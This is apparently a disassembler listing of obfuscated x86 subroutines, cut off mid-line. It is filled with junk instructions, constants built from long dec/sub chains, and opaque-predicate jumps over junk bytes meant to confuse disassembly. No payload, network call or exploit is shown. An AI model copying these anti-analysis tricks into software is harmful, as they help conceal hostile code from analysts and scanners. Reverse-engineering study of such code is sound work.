sub_49EE78:loc_49EEC0j ; sub_49EE78:loc_49EEC2j jmp short loc_49EEC4 ; --------------------------------------------------------------------------- movlps xmm4, qword ptr [esi] loc_49EEC0: ; CODE XREF: sub_49EE78+41j jz short loc_49EEBB loc_49EEC2: ; CODE XREF: sub_49EE78+3Fj jmp short loc_49EEBB ; --------------------------------------------------------------------------- loc_49EEC4: ; CODE XREF: sub_49EE78:loc_49EEBBj and eax, 40h dec bl sub bl, 12h sub bl, 3 pop eax dec bl and al, bl mov edx, 1200h dec dh sub dh, 1 dec dh sub dh, 7 and ah, dh pop ebx pop edx neg eax sbb eax, eax inc eax dec eax jo short loc_49EEF8 jl short loc_49EEF6 loc_49EEF1: ; CODE XREF: sub_49EE78:loc_49EEF6j ; sub_49EE78:loc_49EEF8j jmp short loc_49EEFA ; --------------------------------------------------------------------------- movlps xmm4, qword ptr [esi] loc_49EEF6: ; CODE XREF: sub_49EE78+77j jz short loc_49EEF1 loc_49EEF8: ; CODE XREF: sub_49EE78+75j jmp short loc_49EEF1 ; --------------------------------------------------------------------------- loc_49EEFA: ; CODE XREF: sub_49EE78:loc_49EEF1j inc eax dec eax jo short loc_49EF07 jl short loc_49EF05 loc_49EF00: ; CODE XREF: sub_49EE78:loc_49EF05j ; sub_49EE78:loc_49EF07j jmp short loc_49EF09 ; --------------------------------------------------------------------------- movlps xmm4, qword ptr [esi] loc_49EF05: ; CODE XREF: sub_49EE78+86j jz short loc_49EF00 loc_49EF07: ; CODE XREF: sub_49EE78+84j jmp short loc_49EF00 ; --------------------------------------------------------------------------- loc_49EF09: ; CODE XREF: sub_49EE78:loc_49EF00j inc eax dec eax inc eax dec eax jo short loc_49EF16 jl short loc_49EF14 loc_49EF11: ; CODE XREF: sub_49EE78:loc_49EF14j ; sub_49EE78:loc_49EF16j jmp short loc_49EF18 ; --------------------------------------------------------------------------- db 0C7h ; --------------------------------------------------------------------------- loc_49EF14: ; CODE XREF: sub_49EE78+97j jz short loc_49EF11 loc_49EF16: ; CODE XREF: sub_49EE78+95j jmp short loc_49EF11 ; --------------------------------------------------------------------------- loc_49EF18: ; CODE XREF: sub_49EE78:loc_49EF11j inc eax mov [ebp+var_C], eax mov ecx, dword_4ED3E0 xor ecx, dword_4ED3E4 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_49EF3C mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_49EF3C: ; CODE XREF: sub_49EE78+B9j mov eax, [ebp+var_8] push eax call off_4F1D38 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_49EE78 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_49EF50 proc near ; DATA XREF: sub_4965D8+9EDo var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1D78 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push ebx mov ebx, 80h jmp short loc_49EF79 ; --------------------------------------------------------------------------- mov ebx, 4 loc_49EF79: ; CODE XREF: sub_49EF50+22j mov ebx, 32h not ebx bswap eax not ebx inc ebx inc ebx inc ebx add ebx, 8 dec ebx push ecx mov ecx, 4 add ebx, ecx inc ebx pop ecx bswap eax and eax, ebx pop ebx neg eax sbb eax, eax neg eax pop edx mov [ebp+var_C], eax mov ecx, dword_4ED3A8 xor ecx, dword_4ED3AC shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_49EFC4 mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_49EFC4: ; CODE XREF: sub_49EF50+69j mov eax, [ebp+var_8] push eax call off_4F1D00 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_49EF50 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_49EFD8 proc near ; DATA XREF: sub_4965D8+1625o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1D98 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push edx mov edx, 0FFFFh and eax, edx push ebx push eax mov bh, 7 dec bh dec bh dec bh dec bh dec bh dec bh dec bh and eax, 800h bswap ecx pop eax bswap ecx and ah, bh mov bl, 86h sub bl, 5 dec bl dec bl dec bl dec bl dec bl dec bl dec bl sub bl, 1Ah dec bl sub bl, 1Fh not bx bswap eax not bx bswap eax and al, bl mov eax, eax pop ebx neg eax sbb eax, eax inc eax pop edx mov [ebp+var_C], eax mov ecx, dword_4ED3C8 xor ecx, dword_4ED3CC shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_49F06D mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_49F06D: ; CODE XREF: sub_49EFD8+8Aj mov eax, [ebp+var_8] push eax call off_4F1D20 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_49EFD8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_49F081 proc near ; DATA XREF: sub_4965D8+239o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1D84 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push edx mov dh, 2 dec dh dec dh and ah, dh mov dl, 0Eh sub dl, 0FFh jo short loc_49F0B4 jl short loc_49F0B2 loc_49F0AF: ; CODE XREF: sub_49F081:loc_49F0B2j ; sub_49F081:loc_49F0B4j jmp short loc_49F0B6 ; --------------------------------------------------------------------------- db 0E9h ; --------------------------------------------------------------------------- loc_49F0B2: ; CODE XREF: sub_49F081+2Cj jz short loc_49F0AF loc_49F0B4: ; CODE XREF: sub_49F081+2Aj jmp short loc_49F0AF ; --------------------------------------------------------------------------- loc_49F0B6: ; CODE XREF: sub_49F081:loc_49F0AFj sub dl, 0FEh dec dl sub dl, 0FFh sub dl, 0Ah sub dl, 0FFh sub dl, 0FFh sub dl, 5 dec dl jo short loc_49F0D5 jl short loc_49F0D3 loc_49F0D0: ; CODE XREF: sub_49F081:loc_49F0D3j ; sub_49F081:loc_49F0D5j jmp short loc_49F0D7 ; --------------------------------------------------------------------------- db 0E8h ; --------------------------------------------------------------------------- loc_49F0D3: ; CODE XREF: sub_49F081+4Dj jz short loc_49F0D0 loc_49F0D5: ; CODE XREF: sub_49F081+4Bj jmp short loc_49F0D0 ; --------------------------------------------------------------------------- loc_49F0D7: ; CODE XREF: sub_49F081:loc_49F0D0j dec dl dec dl sub dl, 3 sub dl, 0FFh dec dl inc dl inc dl inc dl jo short loc_49F0F2 jl short loc_49F0F0 loc_49F0ED: ; CODE XREF: sub_49F081:loc_49F0F0j ; sub_49F081:loc_49F0F2j jmp short loc_49F0F4 ; --------------------------------------------------------------------------- db 0B9h ; --------------------------------------------------------------------------- loc_49F0F0: ; CODE XREF: sub_49F081+6Aj jz short loc_49F0ED loc_49F0F2: ; CODE XREF: sub_49F081+68j jmp short loc_49F0ED ; --------------------------------------------------------------------------- loc_49F0F4: ; CODE XREF: sub_49F081:loc_49F0EDj inc dl dec dl inc dl dec dl dec dl inc dl dec dl inc dl inc dl inc dl dec dl inc dl dec dl inc dl inc dl dec dl dec dl dec dl and al, dl pop edx mov [ebp+var_C], eax mov ecx, dword_4ED3B4 xor ecx, dword_4ED3B8 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_49F13E mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_49F13E: ; CODE XREF: sub_49F081+B2j mov eax, [ebp+var_8] push eax call off_4F1D0C add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_49F081 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_49F152 proc near ; DATA XREF: sub_4965D8+CACo var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DDC add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push edx mov edx, 0FFFFh and eax, edx push ebx push 100h pop ebx dec bh jo short loc_49F188 jl short loc_49F186 loc_49F183: ; CODE XREF: sub_49F152:loc_49F186j ; sub_49F152:loc_49F188j jmp short loc_49F18A ; --------------------------------------------------------------------------- db 0B8h ; --------------------------------------------------------------------------- loc_49F186: ; CODE XREF: sub_49F152+2Fj jz short loc_49F183 loc_49F188: ; CODE XREF: sub_49F152+2Dj jmp short loc_49F183 ; --------------------------------------------------------------------------- loc_49F18A: ; CODE XREF: sub_49F152:loc_49F183j add bh, 0FFh add bh, 0FFh add bh, 0FFh add bh, 0FFh inc bh inc bh inc bh inc bh and ah, bh jo short loc_49F1A9 jl short loc_49F1A7 loc_49F1A4: ; CODE XREF: sub_49F152:loc_49F1A7j ; sub_49F152:loc_49F1A9j jmp short loc_49F1AB ; --------------------------------------------------------------------------- db 0E8h ; --------------------------------------------------------------------------- loc_49F1A7: ; CODE XREF: sub_49F152+50j jz short loc_49F1A4 loc_49F1A9: ; CODE XREF: sub_49F152+4Ej jmp short loc_49F1A4 ; --------------------------------------------------------------------------- loc_49F1AB: ; CODE XREF: sub_49F152:loc_49F1A4j mov bl, 15h dec bl sub bl, 6 dec bl dec bl dec bl sub bl, 1 dec bl dec bl dec bl dec bl dec bl dec bl and al, bl pop ebx pop edx test eax, eax jz short loc_49F1D7 not eax add eax, 1 stc jmp short loc_49F1DD ; --------------------------------------------------------------------------- loc_49F1D7: ; CODE XREF: sub_49F152+7Bj not eax add eax, 1 clc loc_49F1DD: ; CODE XREF: sub_49F152+83j sbb eax, eax inc eax dec eax jo short loc_49F1EC jl short loc_49F1EA loc_49F1E5: ; CODE XREF: sub_49F152:loc_49F1EAj ; sub_49F152:loc_49F1ECj jmp short loc_49F1EE ; --------------------------------------------------------------------------- movlps xmm4, qword ptr [esi] loc_49F1EA: ; CODE XREF: sub_49F152+91j jz short loc_49F1E5 loc_49F1EC: ; CODE XREF: sub_49F152+8Fj jmp short loc_49F1E5 ; --------------------------------------------------------------------------- loc_49F1EE: ; CODE XREF: sub_49F152:loc_49F1E5j inc eax dec eax jo short loc_49F1FB jl short loc_49F1F9 loc_49F1F4: ; CODE XREF: sub_49F152:loc_49F1F9j ; sub_49F152:loc_49F1FBj jmp short loc_49F1FD ; --------------------------------------------------------------------------- movlps xmm4, qword ptr [esi] loc_49F1F9: ; CODE XREF: sub_49F152+A0j jz short loc_49F1F4 loc_49F1FB: ; CODE XREF: sub_49F152+9Ej jmp short loc_49F1F4 ; --------------------------------------------------------------------------- loc_49F1FD: ; CODE XREF: sub_49F152:loc_49F1F4j inc eax dec eax inc eax dec eax jo short loc_49F20C jl short loc_49F20A loc_49F205: ; CODE XREF: sub_49F152:loc_49F20Aj ; sub_49F152:loc_49F20Cj jmp short loc_49F20E ; --------------------------------------------------------------------------- movlps xmm4, qword ptr [esi] loc_49F20A: ; CODE XREF: sub_49F152+B1j jz short loc_49F205 loc_49F20C: ; CODE XREF: sub_49F152+AFj jmp short loc_49F205 ; --------------------------------------------------------------------------- loc_49F20E: ; CODE XREF: sub_49F152:loc_49F205j inc eax mov [ebp+var_C], eax mov ecx, dword_4ED40C xor ecx, dword_4ED410 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_49F232 mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_49F232: ; CODE XREF: sub_49F152+D5j mov eax, [ebp+var_8] push eax call off_4F1D64 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_49F152 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_49F246 proc near ; DATA XREF: sub_4965D8+2ABo var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DA0 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push ebx mov ebx, 0FFFFh and eax, ebx push ecx mov ch, 2Dh dec ch sub ch, 1 sub ch, 20h dec ch dec ch sub ch, 7 dec ch dec ch and ah, ch mov cl, 75h dec cl dec cl dec cl dec cl not cl bswap edx not cl bswap edx dec cl dec cl push eax dec cl dec cl sub cl, 12h dec cl jo short loc_49F2AB jl short loc_49F2A9 loc_49F2A6: ; CODE XREF: sub_49F246:loc_49F2A9j ; sub_49F246:loc_49F2ABj jmp short loc_49F2AD ; --------------------------------------------------------------------------- db 0E9h ; --------------------------------------------------------------------------- loc_49F2A9: ; CODE XREF: sub_49F246+5Ej jz short loc_49F2A6 loc_49F2AB: ; CODE XREF: sub_49F246+5Cj jmp short loc_49F2A6 ; --------------------------------------------------------------------------- loc_49F2AD: ; CODE XREF: sub_49F246:loc_49F2A6j dec cl and eax, 40h dec cl dec cl dec cl add cl, 0Eh dec cl dec cl and eax, 800h sub cl, 1Fh dec cl dec cl dec cl not ecx bswap eax not ecx bswap eax pop eax and al, cl mov eax, eax pop ecx pop ebx test eax, eax jnz loc_49F394 mov eax, [ebp+var_4] push edx mov edx, 0FFFFh and eax, edx push ebx push eax mov bh, 7 dec bh dec bh dec bh dec bh inc bh inc bh inc bh dec bh dec bh dec bh dec bh dec bh dec bh and eax, 80h bswap ecx pop eax bswap ecx and ah, bh mov bl, 98h sub bl, 5 dec bl dec bl dec bl dec bl dec bl dec bl dec bl sub bl, 0Ch not bx bswap eax not bx bswap eax and al, bl mov eax, eax pop ebx neg eax sbb eax, eax inc eax pop edx mov ecx, eax push ecx mov eax, [ebp+var_4] push ebx mov ebx, 0FFFFh and eax, ebx push ecx push 4 pop ecx dec cl dec cl dec cl dec cl and al, cl mov bh, 0Fh and bl, 0 sub bh, 4 dec bh sub bh, 1 dec bh and ah, bh pop ecx pop ebx test eax, eax jz short loc_49F37F not eax add eax, 1 stc jmp short loc_49F385 ; --------------------------------------------------------------------------- loc_49F37F: ; CODE XREF: sub_49F246+12Fj not eax add eax, 1 clc loc_49F385: ; CODE XREF: sub_49F246+137j sbb eax, eax add eax, 1 pop ecx cmp ecx, eax jnz short loc_49F394 and eax, 0 jmp short loc_49F398 ; --------------------------------------------------------------------------- loc_49F394: ; CODE XREF: sub_49F246+98j ; sub_49F246+147j and eax, 0 inc eax loc_49F398: ; CODE XREF: sub_49F246+14Cj mov [ebp+var_C], eax mov ecx, dword_4ED3D0 xor ecx, dword_4ED3D4 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_49F3BB mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_49F3BB: ; CODE XREF: sub_49F246+16Aj mov eax, [ebp+var_8] push eax call off_4F1D28 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_49F246 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_49F3CF proc near ; DATA XREF: sub_4965D8+FC5o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1D8C add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push edx mov edx, 0FFFFh and eax, edx push ebx push eax mov bh, 7 dec bh dec bh dec bh dec bh dec bh dec bh dec bh and eax, 800h bswap ecx pop eax bswap ecx and ah, bh mov bl, 87h sub bl, 5 dec bl dec bl dec bl dec bl dec bl dec bl dec bl sub bl, 1Ah dec bl sub bl, 1Fh not bx bswap eax not bx bswap eax and al, bl mov eax, eax pop ebx neg eax sbb eax, eax inc eax pop edx mov [ebp+var_C], eax mov ecx, dword_4ED3BC xor ecx, dword_4ED3C0 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_49F464 mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_49F464: ; CODE XREF: sub_49F3CF+8Aj mov eax, [ebp+var_8] push eax call off_4F1D14 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_49F3CF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_49F478 proc near ; DATA XREF: sub_4965D8+72Fo var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DA0 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push ebx mov ebx, 0FFFFh and eax, ebx push ecx mov ch, 2Dh dec ch sub ch, 1 sub ch, 20h dec ch dec ch sub ch, 7 dec ch dec ch and ah, ch mov cl, 77h sub cl, 2 dec cl dec cl dec cl dec cl not cl bswap edx not cl bswap edx dec cl dec cl push eax dec cl dec cl sub cl, 12h dec cl jo short loc_49F4E0 jl short loc_49F4DE loc_49F4DB: ; CODE XREF: sub_49F478:loc_49F4DEj ; sub_49F478:loc_49F4E0j jmp short loc_49F4E2 ; --------------------------------------------------------------------------- db 0E9h ; --------------------------------------------------------------------------- loc_49F4DE: ; CODE XREF: sub_49F478+61j jz short loc_49F4DB loc_49F4E0: ; CODE XREF: sub_49F478+5Fj jmp short loc_49F4DB ; --------------------------------------------------------------------------- loc_49F4E2: ; CODE XREF: sub_49F478:loc_49F4DBj dec cl and eax, 40h dec cl dec cl dec cl add cl, 0Eh dec cl dec cl and eax, 80h sub cl, 1Fh dec cl dec cl dec cl not ecx bswap eax not ecx bswap eax pop eax and al, cl mov eax, eax pop ecx neg eax sbb eax, eax neg eax pop ebx mov [ebp+var_C], eax mov ecx, dword_4ED3D0 xor ecx, dword_4ED3D4 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_49F53A mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_49F53A: ; CODE XREF: sub_49F478+B7j mov eax, [ebp+var_8] push eax call off_4F1D28 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_49F478 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_49F54E proc near ; DATA XREF: sub_4965D8+A8Co var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DE8 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push edx mov edx, 0FFFFh and eax, edx push ebx push 5 pop ebx dec bl dec bl sub bl, 2 dec bl and al, bl mov dh, 0Dh and dl, 0 sub dh, 3 dec dh sub dh, 1 and ah, dh pop ebx pop edx test eax, eax jz short loc_49F59E not eax add eax, 1 stc jmp short loc_49F5A4 ; --------------------------------------------------------------------------- loc_49F59E: ; CODE XREF: sub_49F54E+46j not eax add eax, 1 clc loc_49F5A4: ; CODE XREF: sub_49F54E+4Ej sbb eax, eax neg eax mov [ebp+var_C], eax mov ecx, dword_4ED418 xor ecx, dword_4ED41C shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_49F5CB mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_49F5CB: ; CODE XREF: sub_49F54E+72j mov eax, [ebp+var_8] push eax call off_4F1D70 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_49F54E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_49F5DF proc near ; DATA XREF: sub_4965D8+152Co var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DAC add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push ebx mov ebx, [ebp+arg_4] mov ebx, 0FFFFh and eax, ebx push ecx mov ch, 2Dh dec ch sub ch, 1 sub ch, 20h dec ch dec ch sub ch, 7 dec ch dec ch and ah, ch mov cl, 0BDh sub cl, 2 dec cl dec cl dec cl dec cl dec cl dec cl dec cl not cl bswap edx not cl bswap edx sub cl, 4 push eax dec cl dec cl sub cl, 17h dec cl and eax, 40h dec cl dec cl dec cl add cl, 0Eh dec cl dec cl and eax, 80h sub cl, 1Fh dec cl dec cl dec cl not ecx bswap eax not ecx bswap eax pop eax inc cl inc cl inc cl and al, cl mov eax, eax pop ecx neg eax sbb eax, eax inc eax pop ebx push eax mov eax, [ebp+var_4] mov edx, 0C00h sub dh, 1 dec dh dec dh dec dh and eax, edx neg eax sbb eax, eax inc eax mov edx, eax pop eax xor ecx, ecx cmp eax, edx setz cl mov al, cl mov [ebp+var_C], eax mov ecx, dword_4ED3DC xor ecx, dword_4ED3E0 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_49F6C6 mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_49F6C6: ; CODE XREF: sub_49F5DF+DCj mov eax, [ebp+var_8] push eax call off_4F1D34 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_49F5DF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_49F6DA proc near ; DATA XREF: sub_4965D8+ECCo var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1D80 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push ebx mov ebx, 0FFFFh and eax, ebx push ecx mov ch, 2Dh dec ch sub ch, 2Ah dec ch dec ch and ah, ch mov cl, 0BDh sub cl, 2 dec cl dec cl dec cl dec cl dec cl dec cl dec cl not cl bswap edx not cl bswap edx dec cl dec cl dec cl dec cl push eax dec cl dec cl sub cl, 12h dec cl dec cl sub cl, 3 dec cl and eax, 40h dec cl dec cl dec cl add cl, 0Eh dec cl dec cl and eax, 80h sub cl, 1Fh dec cl dec cl dec cl not ecx bswap eax not ecx bswap eax pop eax inc cl inc cl inc cl and al, cl mov eax, eax pop ecx neg eax sbb eax, eax inc eax pop ebx push eax mov eax, [ebp+var_4] mov edx, 0C00h sub dh, 1 dec dh dec dh dec dh inc dh dec dh inc dh inc dh sub dh, 2 and eax, edx neg eax sbb eax, eax inc eax mov edx, eax pop eax xor ecx, ecx cmp eax, edx setz cl mov al, cl mov [ebp+var_C], eax mov ecx, dword_4ED3B0 xor ecx, dword_4ED3B4 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_49F7CB mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_49F7CB: ; CODE XREF: sub_49F6DA+E6j mov eax, [ebp+var_8] push eax call off_4F1D08 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_49F6DA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_49F7DF proc near ; DATA XREF: sub_4965D8+30o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DA0 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] jo short loc_49F804 jl short loc_49F802 loc_49F7FF: ; CODE XREF: sub_49F7DF:loc_49F802j ; sub_49F7DF:loc_49F804j jmp short loc_49F806 ; --------------------------------------------------------------------------- db 0E9h ; --------------------------------------------------------------------------- loc_49F802: ; CODE XREF: sub_49F7DF+1Ej jz short loc_49F7FF loc_49F804: ; CODE XREF: sub_49F7DF+1Cj jmp short loc_49F7FF ; --------------------------------------------------------------------------- loc_49F806: ; CODE XREF: sub_49F7DF:loc_49F7FFj push ebx mov ebx, 0FFFFh and eax, ebx push ecx mov ch, 2Ch sub ch, 1 sub ch, 20h dec ch dec ch sub ch, 4 dec ch sub ch, 3 dec ch and ah, ch mov cl, 70h sub cl, 2 dec cl dec cl dec cl sub cl, 6 not al bswap ecx not al bswap ecx dec cl dec cl sub cl, 10h dec cl dec cl add cl, 0Ch dec cl dec cl dec cl jo short loc_49F85A jl short loc_49F858 loc_49F855: ; CODE XREF: sub_49F7DF:loc_49F858j ; sub_49F7DF:loc_49F85Aj jmp short loc_49F85C ; --------------------------------------------------------------------------- db 0C7h ; --------------------------------------------------------------------------- loc_49F858: ; CODE XREF: sub_49F7DF+74j jz short loc_49F855 loc_49F85A: ; CODE XREF: sub_49F7DF+72j jmp short loc_49F855 ; --------------------------------------------------------------------------- loc_49F85C: ; CODE XREF: sub_49F7DF:loc_49F855j dec cl dec cl dec cl dec cl sub cl, 10h sub cl, 1 dec cl dec cl dec cl dec cl dec cl dec cl dec cl dec cl not ecx bswap eax not ecx bswap eax inc cl add cl, 2 and al, cl mov eax, eax pop ecx neg eax sbb eax, eax neg eax pop ebx mov [ebp+var_C], eax mov ecx, dword_4ED3D0 xor ecx, dword_4ED3D4 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_49F8B6 mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_49F8B6: ; CODE XREF: sub_49F7DF+CCj mov eax, [ebp+var_8] push eax call off_4F1D28 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_49F7DF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_49F8CA proc near ; DATA XREF: sub_4965D8+1394o var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi mov eax, [ebp+arg_0] push ebx mov ebx, [ebp+arg_4] mov ebx, 0FFFFh and eax, ebx push ecx mov ch, 38h sub ch, 0Bh dec ch dec ch dec ch dec ch dec ch dec ch dec ch dec ch dec ch dec ch dec ch dec ch dec ch dec ch dec ch dec ch dec ch dec ch dec ch dec ch dec ch dec ch dec ch dec ch dec ch dec ch dec ch dec ch dec ch dec ch dec ch dec ch dec ch dec ch dec ch dec ch sub ch, 4 dec ch sub ch, 3 dec ch mov ebx, [ebp+arg_4] test ebx, ebx jz short loc_49F946 dec edi and eax, 0 jmp short loc_49F94D ; --------------------------------------------------------------------------- loc_49F946: ; CODE XREF: sub_49F8CA+74j dec edi and eax, 0 dec edi dec edi inc eax loc_49F94D: ; CODE XREF: sub_49F8CA+7Aj mov [ebp+var_8], eax mov eax, dword_4ED3F8 xor eax, dword_4ED3FC shl eax, 1 mov [ebp+var_4], eax cmp [ebp+var_8], 0 jz short loc_49F96F mov ecx, [ebp+var_4] or ecx, 1 mov [ebp+var_4], ecx loc_49F96F: ; CODE XREF: sub_49F8CA+9Aj mov edx, [ebp+var_4] push edx call off_4F1D50 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_49F8CA endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_49F983 proc near ; DATA XREF: sub_4965D8+828o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DBC add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push edx mov edx, 0FFFFh and eax, edx push ebx push eax mov bh, 8 dec bh dec bh dec bh dec bh dec bh dec bh dec bh dec bh and eax, 800h bswap ecx pop eax bswap ecx and ah, bh mov bl, 98h sub bl, 4 dec bl dec bl dec bl dec bl dec bl dec bl dec bl dec bl sub bl, 0Ch not bx bswap eax not bx bswap eax and al, bl mov eax, eax pop ebx neg eax sbb eax, eax neg eax pop edx mov [ebp+var_C], eax mov ecx, dword_4ED3EC xor ecx, dword_4ED3F0 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_49FA18 mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_49FA18: ; CODE XREF: sub_49F983+8Aj mov eax, [ebp+var_8] push eax call off_4F1D44 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_49F983 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_49FA2C proc near ; DATA XREF: sub_4965D8+B58o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1D9C add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push edx mov edx, 0FFFFh and eax, edx push ebx push 1F00h pop ebx jo short loc_49FA62 jl short loc_49FA60 loc_49FA5B: ; CODE XREF: sub_49FA2C:loc_49FA60j ; sub_49FA2C:loc_49FA62j jmp short loc_49FA64 ; --------------------------------------------------------------------------- movlps xmm4, qword ptr [esi] loc_49FA60: ; CODE XREF: sub_49FA2C+2Dj jz short loc_49FA5B loc_49FA62: ; CODE XREF: sub_49FA2C+2Bj jmp short loc_49FA5B ; --------------------------------------------------------------------------- loc_49FA64: ; CODE XREF: 